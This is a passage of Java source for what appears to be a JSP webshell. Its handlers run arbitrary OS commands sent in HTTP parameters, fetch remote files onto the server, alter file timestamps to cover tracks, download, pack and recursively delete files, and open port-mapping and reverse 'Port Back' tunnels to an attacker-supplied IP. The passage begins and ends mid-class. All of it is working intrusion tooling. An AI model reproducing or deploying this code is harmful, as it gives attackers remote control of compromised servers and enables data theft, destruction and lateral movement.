			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String filepath = request.getParameter("filepath");
					File f = new File(filepath);
					if (!f.exists())
						return;
					String read = f.canRead() ? "checked=\"checked\"" : "";
					String write = f.canWrite() ? "checked=\"checked\"" : "";
					Calendar cal = Calendar.getInstance();
					cal.setTimeInMillis(f.lastModified());

					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
					"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
					"<h2>Set File Property &raquo;</h2>"+
					"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\"  /></p>"+
					"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
					"<p>"+
					"  <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
					"  <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
					"</p>"+
					"<p>Instead &raquo;"+
					"year:"+
					"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\"  />"+
					"month:"+
					"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\"  />"+
					"day:"+
					"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\"  />"+
					""+
					"hour:"+
					"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\"  />"+
					"minute:"+
					"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\"  />"+
					"second:"+
					"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\"  />"+
					"</p>"+
					"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
					"</form>"+
					"</td></tr></table>");
				} catch (Exception e) {
					throw e ;
				}
			}
		}
		private static class EditPropertyInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String f = request.getParameter("file");
					File file = new File(f);
					if (!file.exists())
						return;

					String year = request.getParameter("year");
					String month = request.getParameter("month");
					String date = request.getParameter("date");
					String hour = request.getParameter("hour");
					String minute = request.getParameter("minute");
					String second = request.getParameter("second");

					Calendar cal = Calendar.getInstance();
					cal.set(Calendar.YEAR,Integer.parseInt(year));
					cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
					cal.set(Calendar.DATE,Integer.parseInt(date));
					cal.set(Calendar.HOUR,Integer.parseInt(hour));
					cal.set(Calendar.MINUTE,Integer.parseInt(minute));
					cal.set(Calendar.SECOND,Integer.parseInt(second));
					if(file.setLastModified(cal.getTimeInMillis())){
						JSession.setAttribute(MSG,"Reset File Property Success!");
					} else {
						JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
					}
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//VShell
		private static class VsInvoker extends DefaultInvoker{
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String cmd = request.getParameter("command");
					String program = request.getParameter("program");
					if (cmd == null) {
						if (ISLINUX)
							cmd = "id";
						else
							cmd = "cmd.exe /c set";
					}
					if (program == null) 
						program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
					if (JSession.getAttribute(MSG)!=null) {
						Util.outMsg(out,JSession.getAttribute(MSG).toString());
						JSession.removeAttribute(MSG);
					}
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
					"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
					"<h2>Execute Program &raquo;</h2>"+
					"<p>"+
					"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
					"<input type=\"hidden\" name=\"type\" value=\"program\">"+
					"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\"  />"+
					"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
					"</p>"+
					"</form>"+
					"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
					"<h2>Execute Shell &raquo;</h2>"+
					"<p>"+
					"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
					"<input type=\"hidden\" name=\"type\" value=\"command\">"+
					"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\"  />"+
					"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
					"</p>"+
					"</form>"+
					"</td>"+
					"</tr></table>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class ShellInvoker extends DefaultInvoker{
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String type = request.getParameter("type");
					if (type.equals("command")) {
						((Invoker)ins.get("vs")).invoke(request,response,JSession);
						out.println("<div style='margin:10px'><hr/>");
						out.println("<pre>");
						String command = request.getParameter("command");
						if (!Util.isEmpty(command)) {
							Process pro = Runtime.getRuntime().exec(command);
							BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
							String s = reader.readLine();
							while (s != null) {
								out.println(Util.htmlEncode(Util.getStr(s)));
								s = reader.readLine();
							}
							reader.close();
							reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
							s = reader.readLine();
							while (s != null) {
								out.println(Util.htmlEncode(Util.getStr(s)));
								s = reader.readLine();
							}
							reader.close();
							out.println("</pre></div>");
						}
					} else {
						String program = request.getParameter("program");
						if (!Util.isEmpty(program)) {
							Process pro = Runtime.getRuntime().exec(program);
							JSession.setAttribute(MSG,"Program Has Run Success!");
							((Invoker)ins.get("vs")).invoke(request,response,JSession);
						}
					}
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class DownInvoker extends DefaultInvoker{
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String path  = request.getParameter("path");
					if (Util.isEmpty(path)) 
						return;
					InputStream i = null;
					Object enter = JSession.getAttribute(ENTER);
					String fileName = null;
					if (enter == null) {
						File f = new File(path);
						if (!f.exists()) 
							return;
						fileName = f.getName();
						i = new FileInputStream(f);
					} else {
						ZipFile zf = new ZipFile((String)enter);
						ZipEntry entry = new ZipEntry(path);
						fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
						i = zf.getInputStream(entry);
					}
					response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
					BufferedInputStream input = new BufferedInputStream(i);
					BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
					byte[] data = new byte[1024];
					int len = input.read(data);
					while (len != -1) {
						output.write(data,0,len);
						len = input.read(data);
					}
					input.close();
					output.close();
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//VDown
		private static class VdInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String savepath = request.getParameter("savepath");
					String url = request.getParameter("url");
					if (Util.isEmpty(url))
						url = "http://www.forjj.com/";
					if (Util.isEmpty(savepath)) {
						savepath = JSession.getAttribute(CURRENT_DIR).toString();
					}
					if (!Util.isEmpty(JSession.getAttribute("done"))) {
						Util.outMsg(out,"Download Remote File Success!");
						JSession.removeAttribute("done");
					}
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
						"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
						"<h2>Remote File DownLoad &raquo;</h2>"+
						"<p>"+
						"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
						"<p>File&nbsp;&nbsp;&nbsp;URL: "+
						"  <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\"  /></p>"+
						"<p>Save Path: "+
						"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\"  /></p>"+
						"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"+
						"</p>"+
						"</form></table>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class DownRemoteInvoker extends DefaultInvoker {
			public boolean doBefore(){return true;}
			public boolean doAfter(){return true;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					 String downFileUrl = request.getParameter("url");
					 String savePath = request.getParameter("savepath");
					 if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
						 return;
					 URL downUrl = new URL(downFileUrl);
					 URLConnection conn = downUrl.openConnection();
					 
					 File tempF = new File(savePath);
					 File saveF = tempF;
					 if (tempF.isDirectory()) {
						String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
						saveF = new File(tempF,fName);
					 }
					 BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
					 BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
					 byte[] data = new byte[1024];
					  int len = in.read(data);
					  while (len != -1) {
						  out.write(data,0,len);
						  len = in.read(data);
					  }
					  in.close();
					  out.close();
					  JSession.setAttribute("done","d");
					  ((Invoker)ins.get("vd")).invoke(request,response,JSession);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class IndexInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					((Invoker)ins.get("filelist")).invoke(request,response,JSession);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class MkDirInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String name = request.getParameter("name");
					File f = new File(name);
					if (!f.isAbsolute()) {
						String path = JSession.getAttribute(CURRENT_DIR).toString();
						if (!path.endsWith("/"))
							path += "/";
						path += name;
						f = new File(path);
					}
					f.mkdirs();
					JSession.setAttribute(MSG,"Make Directory Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class MoveInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String src = request.getParameter("src");
					String target  = request.getParameter("to");
					if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
						File file = new File(src);
						if(file.renameTo(new File(target))) {
							JSession.setAttribute(MSG,"Move File Success!");
						} else {
							String msg = "Move File Failed!";
							if (file.isDirectory()) {
								msg += "The Move Will Failed When The Directory Is Not Empty.";
							}
							JSession.setAttribute(MSG,msg);
						}
						response.sendRedirect(SHELL_NAME);
					}
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class RemoveDirInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String dir = request.getParameter("dir");
					File file = new File(dir);
					if (file.exists()) {
						deleteFile(file);
						deleteDir(file);
					}
					
					JSession.setAttribute(MSG,"Remove Directory Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
			public void deleteFile(File f) {
				if (f.isFile()) {
					f.delete();
				}else {
					File[] list = f.listFiles();
					for (int i = 0;i<list.length;i++) {
						File ff=list[i];
						deleteFile(ff);
					}
				}
			}
			public void deleteDir(File f) {
				File[] list = f.listFiles();
				if (list.length == 0) {
					f.delete();
				} else {
					for (int i = 0;i<list.length;i++) {
						File ff=list[i];
						deleteDir(ff);
					}
					deleteDir(f);
				}
			}
		}
		private static class PackBatchInvoker extends DefaultInvoker{
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String files = request.getParameter("files");
					if (Util.isEmpty(files))
						return;
					String saveFileName = request.getParameter("savefilename");
					File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
					if (saveF.exists()) {
						JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
						response.sendRedirect(SHELL_NAME);
						return;
					}
					ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
					String[] arr = files.split(",");
					for (int i = 0;i<arr.length;i++) {
						String f=arr[i];
						File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
						ZipEntry entry = new ZipEntry(pF.getName());
						zout.putNextEntry(entry);
						FileInputStream fInput = new FileInputStream(pF);
						int len = 0;
						byte[] buf = new byte[1024];
						while ((len = fInput.read(buf)) != -1) {
							zout.write(buf, 0, len);
							zout.flush();
						}
						fInput.close();
					}
					zout.close();
					JSession.setAttribute(MSG,"Pack Files Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e;
				}
			}
		}
		private static class VPackConfigInvoker extends DefaultInvoker{
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String packfile = request.getParameter("packedfile");
					String currentd = JSession.getAttribute(CURRENT_DIR).toString();
					out.println("<form action='"+SHELL_NAME+"' method='post'>"+
								"<input type='hidden' name='o' value='pack'/>"+
								"<input type='hidden' name='config' value='true'/>"+
								"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
								"    <tr>"+
								"      <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
								"        <div id=\"hOWTm\">"+
								"          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
								"            <tr align=\"center\">"+
								"              <td style=\"width:5%\"></td>"+
								"              <td  align=\"center\"><table border=\"0\">"+
								"                <tr>"+
								"                  <td>Packed Dir</td>"+
								"                  <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
								"                </tr>"+
								"                <tr>"+
								"                  <td>Save To</td>"+
								"                  <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
								"                </tr>"+
								"                <tr>"+
								"                  <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
								"					<input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
								"					<hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
								"					</fieldset></td>"+
								"                  </tr>"+
								"                <tr>"+
								"                  <td>Filesize Filter</td>"+
								"                  <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
								"					<input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
								"                </tr>"+
								"                <tr>"+
								"                  <td>Exclude Dir</td>"+
								"                  <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
								"                </tr>"+
								"              </table></td>"+
								"            </tr>"+
								"            <tr align=\"center\">"+
								"              <td colspan=\"2\">"+
								"                <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
								"              </td>"+
								"            </tr>"+
								"          </table>"+
								"        </div></td>"+
								"    </tr>"+
								"  </table></form>"
								);
				} catch (Exception e) {
					
					throw e;
				}
			}
		}
		private static class PackInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			private boolean config = false;
			private String extFilter = "blacklist";
			private String[] fileExts = null;
			private String sizeFilter = "no";
			private int filesize = 0;
			private String[] exclude = null;
			private String packFile = null;
			private void reset(){
				this.config = false;
				this.extFilter = "blacklist";
				this.fileExts = null;
				this.sizeFilter = "no";
				this.filesize = 0;
				this.exclude = null;
				this.packFile = null;
			}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String config = request.getParameter("config");
					if (!Util.isEmpty(config) && config.equals("true")) {
						this.config = true;
						this.extFilter = request.getParameter("extfilter");
						this.fileExts = request.getParameter("fileext").split(",");
						this.sizeFilter = request.getParameter("sizefilter");
						this.filesize = Integer.parseInt(request.getParameter("filesize"));
						this.exclude = request.getParameter("exclude").split(",");
					}
					String packedFile = request.getParameter("packedfile");
					if (Util.isEmpty(packedFile))
						return;
					this.packFile = packedFile;
					String saveFileName = request.getParameter("savefilename");
					File saveF = null;
					if (this.config)
						saveF = new File(saveFileName);
					else
						saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
					if (saveF.exists()) {
						JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
						response.sendRedirect(SHELL_NAME);
						return;
					}
					File pF = new File(packedFile);
					ZipOutputStream zout = null;
					String base = "";
					if (pF.isDirectory()) {
						if (pF.listFiles().length == 0) {
							JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
							response.sendRedirect(SHELL_NAME);
							this.reset();
							return;
						}
						zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
						zipDir(pF,base,zout);
					} else {
						zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
						zipFile(pF,base,zout);
					}
					zout.close();
					this.reset();
					JSession.setAttribute(MSG,"Pack File Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					throw e;
				}
			}
			public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
					if (f.isDirectory()) {
						if (this.config) {
							String curName = f.getAbsolutePath().replace('\\','/');
							curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
							if (this.exclude != null) {
								for (int i = 0;i<exclude.length;i++) {
									if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
										return;
									}
								}
							}
						}
						File[] arr = f.listFiles();
						for (int i = 0;i<arr.length;i++) {
							File ff=arr[i];
							String tmpBase = base;
							if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
								tmpBase += "/";
							zipDir(ff,tmpBase+f.getName(),zout);
						}
					} else {
						String tmpBase = base;
						if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
								tmpBase += "/";
						zipFile(f,tmpBase,zout);
					}
				
			}
			public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
				if (this.config) {
					String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
					if (this.extFilter.equals("blacklist")) {
						if (Util.exists(this.fileExts,ext)) {
							return;
						}
					} else if (this.extFilter.equals("whitelist")) {
						if (!Util.exists(this.fileExts,ext)) {
							return;
						}
					}
					if (!this.sizeFilter.equals("no")) {
						double size = f.length() / 1024;
						if (this.sizeFilter.equals("greaterthan")) {
							if (size < filesize)
								return;
						} else if (this.sizeFilter.equals("lessthan")) {
							if (size > filesize)
								return;
						}
					}
				}
			   ZipEntry entry = new ZipEntry(base+f.getName());
			   zout.putNextEntry(entry);
			   FileInputStream fInput = new FileInputStream(f);
			   int len = 0;
			   byte[] buf = new byte[1024];
			   while ((len = fInput.read(buf)) != -1) {
				zout.write(buf, 0, len);
				zout.flush();
			   }
			   fInput.close();
			}
		}
		private static class UnPackInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String savepath = request.getParameter("savepath");
					String zipfile = request.getParameter("zipfile");
					if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
						return;
					File save = new File(savepath);
					save.mkdirs();
					ZipFile file = new ZipFile(new File(zipfile));   
					Enumeration e = file.entries();   
					while (e.hasMoreElements()) {   
						ZipEntry en = (ZipEntry) e.nextElement(); 
						String entryPath = en.getName();
						int index = entryPath.lastIndexOf("/");
						if (index != -1)
							entryPath = entryPath.substring(0,index);
						File absEntryFile = new File(save,entryPath);
						if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 
							absEntryFile.mkdirs();
							BufferedOutputStream output = null;
							BufferedInputStream input = null;
							try {
								output = new BufferedOutputStream(   
										new FileOutputStream(new File(save,en.getName())));   
								input = new BufferedInputStream(   
										file.getInputStream(en));   
								byte[] b = new byte[1024];   
								int len = input.read(b);   
								while (len != -1) {   
									output.write(b, 0, len);   
									len = input.read(b);   
								}   
							} catch (Exception ex) {
							} finally {
								try {
									if (output != null)
										output.close();
									if (input != null)
										input.close();
								} catch (Exception ex1) {
								}
							}
					}
					file.close();
					JSession.setAttribute(MSG,"UnPack File Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//VMapPort
		private static class VmpInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					Object localIP = JSession.getAttribute("localIP");
					Object localPort = JSession.getAttribute("localPort");
					Object remoteIP = JSession.getAttribute("remoteIP");
					Object remotePort = JSession.getAttribute("remotePort");
					Object done = JSession.getAttribute("done");

					JSession.removeAttribute("localIP");
					JSession.removeAttribute("localPort");
					JSession.removeAttribute("remoteIP");
					JSession.removeAttribute("remotePort");
					JSession.removeAttribute("done");

					if (Util.isEmpty(localIP))
						localIP = InetAddress.getLocalHost().getHostAddress();
					if (Util.isEmpty(localPort))
						localPort = "3389";
					if (Util.isEmpty(remoteIP))
						remoteIP = "www.forjj.com";
					if (Util.isEmpty(remotePort))
						remotePort = "80";
					if (!Util.isEmpty(done))
						Util.outMsg(out,done.toString());

					out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
					"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
					"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
					"      <div id=\"hOWTm\">"+
					"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
					"      <tr align=\"center\">"+
					"        <td style=\"width:5%\"></td>"+
					"        <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
					"          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
					"          </td>"+
					"        <td style=\"width:20%\" align=\"left\">Local Port :"+
					"          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
					"        <td style=\"width:20%\" align=\"left\">Remote Ip :"+
					"          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
					"        <td style=\"width:20%\" align=\"left\">Remote Port :"+
					"          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
					"      </tr>"+
					"      <tr align=\"center\">"+
					"        <td colspan=\"5\"><br/>"+
					"          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
					"			<input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
					"    </td>"+
					"    </tr>"+
					"	</table>"+
					"    </div>"+
					"</td>"+
					"</tr>"+
					"</table>"+
					"</form>");
					String targetIP = request.getParameter("targetIP");
					String targetPort = request.getParameter("targetPort");
					String yourIP = request.getParameter("yourIP");
					String yourPort = request.getParameter("yourPort");
					if (Util.isEmpty(targetIP))
						targetIP = "127.0.0.1";
					if (Util.isEmpty(targetPort))
						targetPort = "3389";
					if (Util.isEmpty(yourIP))
						yourIP = request.getRemoteAddr();
					if (Util.isEmpty(yourPort))
						yourPort = "53";
					out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
					"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
					"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
					"      <div id=\"hOWTm\">"+
					"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
					"      <tr align=\"center\">"+
					"        <td style=\"width:5%\"></td>"+
					"        <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
					"          <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
					"          </td>"+
					"        <td style=\"width:20%\" align=\"left\">Target Port :"+
					"          <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
					"        <td style=\"width:20%\" align=\"left\">Your Ip :"+
					"          <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
					"        <td style=\"width:20%\" align=\"left\">Your Port :"+
					"          <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
					"      </tr>"+
					"      <tr align=\"center\">"+
					"        <td colspan=\"5\"><br/>"+
					"          <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
					"    </td>"+
					"    </tr>"+
					"	</table>"+
					"    </div>"+
					"</td>"+
					"</tr>"+
					"</table>"+
					"</form>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//StopMapPort
		private static class SmpInvoker extends DefaultInvoker {
			public boolean doAfter(){return true;}
			public boolean doBefore(){return true;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					Object obj = JSession.getAttribute(PORT_MAP);
					if (obj != null) {
						ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
						server.close();
					}
					JSession.setAttribute("done","Stop Success!");
					((Invoker)ins.get("vmp")).invoke(request,response,JSession);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//PortBack
		private static class PortBackInvoker extends DefaultInvoker {
			public boolean doAfter(){return true;}
			public boolean doBefore(){return true;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String targetIP = request.getParameter("targetIP");
					String targetPort = request.getParameter("targetPort");
					String yourIP = request.getParameter("yourIP");
					String yourPort = request.getParameter("yourPort");
					Socket yourS = new Socket();
					yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
					Socket targetS = new Socket();
					targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
					StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
					StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
					JSession.setAttribute("done","Port Back Success !");
					((Invoker)ins.get("vmp")).invoke(request,response,JSession);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class MapPortInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String localIP = request.getParameter("localIP");
					String localPort = request.getParameter("localPort");
					final String remoteIP = request.getParameter("remoteIP");
					final String remotePort = request.getParameter("remotePort");
					if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
						return;
					Object obj = JSession.getAttribute(PORT_MAP);
					if (obj != null) {
						ServerSocket s = (ServerSocket)obj;
						s.close();
					}
					final ServerSocket server = new ServerSocket();
					server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
					JSession.setAttribute(PORT_MAP,server);
					new Thread(new Runnable(){
						public void run(){
							while (true) {
								Socket soc = null;
								Socket remoteSoc = null;
								DataInputStream remoteIn = null;
								DataOutputStream remoteOut = null;
								DataInputStream localIn = null;
								DataOutputStream localOut = null;
								try{
									soc = server.accept();
									remoteSoc = new Socket();
									remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
									remoteIn = new DataInputStream(remoteSoc.getInputStream());
									remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
									localIn = new DataInputStream(soc.getInputStream());
									localOut = new DataOutputStream(soc.getOutputStream());
									StreamConnector.readFromLocal(localIn,remoteOut);
